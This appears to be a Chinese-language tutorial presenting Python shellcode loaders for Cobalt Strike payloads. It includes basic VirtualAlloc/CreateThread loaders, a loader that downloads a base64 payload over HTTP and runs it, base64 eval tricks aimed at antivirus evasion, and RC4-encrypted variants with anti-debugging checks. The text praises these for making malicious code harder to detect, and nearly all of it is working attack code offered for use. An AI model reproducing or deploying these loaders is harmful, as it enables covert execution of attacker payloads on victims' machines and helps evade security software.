免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。

shellcode加载器

  1. 使用CS生成Python类型Shellcode


2. 将生成的Payload中"号中的内容放在加载器里,网上的加载器有很多,这里我提供两种

加载器1


#!/usr/bin/python
import ctypes
buf = b"pyload放在这里"
shellcode = buf
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存,设置VirtualAlloc返回类型为ctypes.c_uint64。64位操作系统返回的地址需要是该类型。
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode。开辟一段内存,其中ctypes.c_int(x)是指将x转为C语言中的int类型。ctypes是python中为便于调用windows的c语言接口函数而自带的库。VirtualAlloc函数的细节描述可查看VirtualAlloc。
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

# 将shellcode放入内存。RtlMoveMemory函数细节同样可查微软的文档。
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
# 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))

# 创建线程并开始从shellcode的首地址开始执行,首地址即为申请到的地址ptr。
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)

# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
# 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。
# eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))

加载器2


import ctypes
import ctypes.wintypes

# Shellcode: 你可以将你的实际shellcode放在这里
shellcode = (b"pyload放在这里")

# 使用VirtualAlloc分配用于shellcode的内存
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40

kernel32 = ctypes.windll.kernel32
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
shellcode_buffer = kernel32.VirtualAlloc(None, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)

# 将shellcode复制到分配的缓冲区中
ctypes.memmove(shellcode_buffer, shellcode, len(shellcode))

# 创建一个指向shellcode的ctypes函数指针
shellcode_func = ctypes.CFUNCTYPE(None)(shellcode_buffer)

# 执行shellcode
shellcode_func()


这两个不管使用哪一个运行这段代码都会上线到CS,加载器有很多,可自行百度

远程加载shellcode

上面的代码没有做任何防护,很容易就被杀毒软件识别出来。

下面将介绍从远程服务器上加载share code进行上线的方法。

先将CS生成的payload进行一个base 64编码

复制编码后的结果,保存为1.txt,并把它放到自己的服务器上,然后使用Python开启一个HTTP服务,在浏览器上访问,试一下

python3 -m http.server 8080

鼠标右击复制这个1.txt的地址


把1.txt的地址放到下面代码里面,之后运行这段代码

远程加载shellcode代码:


import ctypes,urllib.request,codecs,base64

# 将生成的Payload中"号中的内容,经过Base64编码后拷贝到远程服务器shellcode.txt中
shellcode = urllib.request.urlopen('http://127.0.0.1:8080/1.txt').read().strip()
shellcode = base64.b64decode(shellcode)

shellcode =codecs.escape_decode(shellcode)[0]

shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

# 有些杀软会过滤字符:
#`ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))`。可通过base64编码该段代码进行绕过。
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))

# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
# 有些杀软会过滤字符:
#`ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))`。可通过base64编码该段代码进行绕过。
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))

可以看到代码运行之后成功上线CS。

动态加载字符串混淆上线

这段代码有很多优点,代码里面注释很清楚,每一步都有详细的解释,可随意扩展自己的思路。

  1. 加密保护:使用RC4算法对shellcode进行加密,有效防止静态分析和简单的签名检测。

  2. 内存分配:通过VirtualAlloc函数分配内存,确保shellcode在执行前被正确加载到内存中。

  3. 反调试技术:使用IsDebuggerPresent函数进行简单的反调试检查,防止被调试分析。

  4. 内存操作:使用memmove函数将数据移动到正确的内存位置,确保内存操作的正确性和安全性。


import ctypes
import random

# 完整的 Shellcode 示例
shellcode = (b"")
def rc4_crypt(data, key):
    S = list(range(256))
    j = 0
    out = []

    # KSA (Key Scheduling Algorithm)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    # PRGA (Pseudo-Random Generation Algorithm)
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(char ^ S[(S[i] + S[j]) % 256])

    return bytearray(out)

# RC4 encryption key
key = bytearray(random.getrandbits(8) for _ in range(16))

# Encrypt shellcode
encrypted_shellcode = rc4_crypt(shellcode, key)

# Allocate memory for shellcode and key with VirtualAlloc
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40

kernel32 = ctypes.windll.kernel32
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p

# Allocation of encrypted shellcode buffer
shellcode_buffer = kernel32.VirtualAlloc(None, len(encrypted_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not shellcode_buffer:
    raise MemoryError("Failed to allocate memory for shellcode.")

# 使用 create_string_buffer 时需要指定 size
encrypted_shellcode_buffer = ctypes.create_string_buffer(bytes(encrypted_shellcode), len(encrypted_shellcode))
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), encrypted_shellcode_buffer, len(encrypted_shellcode))

# Allocation of key buffer
key_buffer = kernel32.VirtualAlloc(None, len(key), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not key_buffer:
    raise MemoryError("Failed to allocate memory for key.")

# 使用 create_string_buffer 时需要指定 size
key_buffer_ptr = ctypes.create_string_buffer(bytes(key), len(key))
ctypes.memmove(ctypes.c_void_p(key_buffer), key_buffer_ptr, len(key))

# Simple anti-debugging technique
is_debugged = kernel32.IsDebuggerPresent()
if is_debugged:
    print("Debugger detected")
    exit(1)

# Decrypt shellcode in memory
decrypted_shellcode = rc4_crypt(encrypted_shellcode, key)

# Re-allocate memory for the decrypted shellcode if necessary
shellcode_exec_buffer = kernel32.VirtualAlloc(None, len(decrypted_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not shellcode_exec_buffer:
    raise MemoryError("Failed to allocate memory for decrypted shellcode.")

# 使用 create_string_buffer 时需要指定 size
decrypted_shellcode_buffer = ctypes.create_string_buffer(bytes(decrypted_shellcode), len(decrypted_shellcode))
ctypes.memmove(ctypes.c_void_p(shellcode_exec_buffer), decrypted_shellcode_buffer, len(decrypted_shellcode))

# Execute the decrypted shellcode
shellcode_func = ctypes.CFUNCTYPE(None)(shellcode_exec_buffer)
shellcode_func()

运行之后,依旧可以直接上线CS。

多加密反调试混淆上线

  1. 多层加密:通过多层RC4加密算法,对shellcode进行多次加密,增加了静态分析和检测的难度,提高了安全性。

  2. 动态生成密钥:每次运行时生成不同的RC4密钥,进一步增加了解密的难度和变异性。

  3. 反调试机制:使用IsDebuggerPresent函数检测调试器,并检查内存区域以检测可能的断点,增加了反调试的能力。

  4. 内存管理:使用VirtualAlloc分配内存,确保shellcode能够正确加载和执行,并在内存中进行解密操作,避免了在磁盘上留下痕迹。

这些优点共同作用,使得这段代码更难被检测和逆向分析,提高了恶意代码的隐蔽性和执行的成功率。


import ctypes
import random

# 完整的 Shellcode 示例
shellcode = (b"")

def generate_rc4_key():
    """随机生成一个RC4密钥"""
    return bytearray(random.getrandbits(8) for _ in range(16))

def rc4_crypt(data, key):
    """使用RC4算法加密/解密数据"""
    S = list(range(256))
    j = 0
    out = []

    # KSA (密钥调度算法)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    # PRGA (伪随机生成算法)
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(char ^ S[(S[i] + S[j]) % 256])

    return bytearray(out)

# 多层加密步骤
def multi_layer_encrypt(data):
    """对数据进行多层加密"""
    layers = random.randint(2, 5)
    keys = []
    for _ in range(layers):
        key = generate_rc4_key()
        data = rc4_crypt(data, key)
        keys.append(key)
    return data, keys

# 多层解密步骤
def multi_layer_decrypt(data, keys):
    """对数据进行多层解密"""
    for key in reversed(keys):
        data = rc4_crypt(data, key)
    return data

# 加密 shellcode 并获取加密所使用的密钥
encrypted_shellcode, keys = multi_layer_encrypt(shellcode)

# 使用 VirtualAlloc 分配用于 shellcode 和密钥的内存
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40

kernel32 = ctypes.windll.kernel32
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p

# 反调试
is_debugged = kernel32.IsDebuggerPresent()
if is_debugged:
    print("检测到调试器")
    exit(1)

# 检查内存区域以检测可能的断点(硬件/软件)
for _ in range(5):
    protect = ctypes.c_uint32()  # 使用 ctypes.c_uint32 而不是 ctypes.wintypes.DWORD
    if not kernel32.VirtualProtect(
        ctypes.c_void_p(id(is_debugged)), 1, PAGE_EXECUTE_READWRITE, ctypes.byref(protect)
    ):
        print("触发了反调试检测。")
        exit(1)

# 为加密的 shellcode 分配缓冲区
shellcode_buffer = kernel32.VirtualAlloc(None, len(encrypted_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not shellcode_buffer:
    raise MemoryError("分配 shellcode 内存失败。")

ctypes.memmove(ctypes.c_void_p(shellcode_buffer), ctypes.create_string_buffer(bytes(encrypted_shellcode), len(encrypted_shellcode)), len(encrypted_shellcode))

# 在内存中解密 shellcode
decrypted_shellcode = multi_layer_decrypt(encrypted_shellcode, keys)

# 如果有必要,为解密后的 shellcode 重新分配内存
shellcode_exec_buffer = kernel32.VirtualAlloc(None, len(decrypted_shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not shellcode_exec_buffer:
    raise MemoryError("分配解密的 shellcode 内存失败。")

ctypes.memmove(ctypes.c_void_p(shellcode_exec_buffer), ctypes.create_string_buffer(bytes(decrypted_shellcode), len(decrypted_shellcode)), len(decrypted_shellcode))

# 执行解密后的 shellcode
shellcode_func = ctypes.CFUNCTYPE(None)(shellcode_exec_buffer)
shellcode_func()

上线成功


以上涉及的代码可以使用Python打包成exe,然后再在Windows系统中执行。同样的操作也适用于其他语言,这里只是提供一种思路。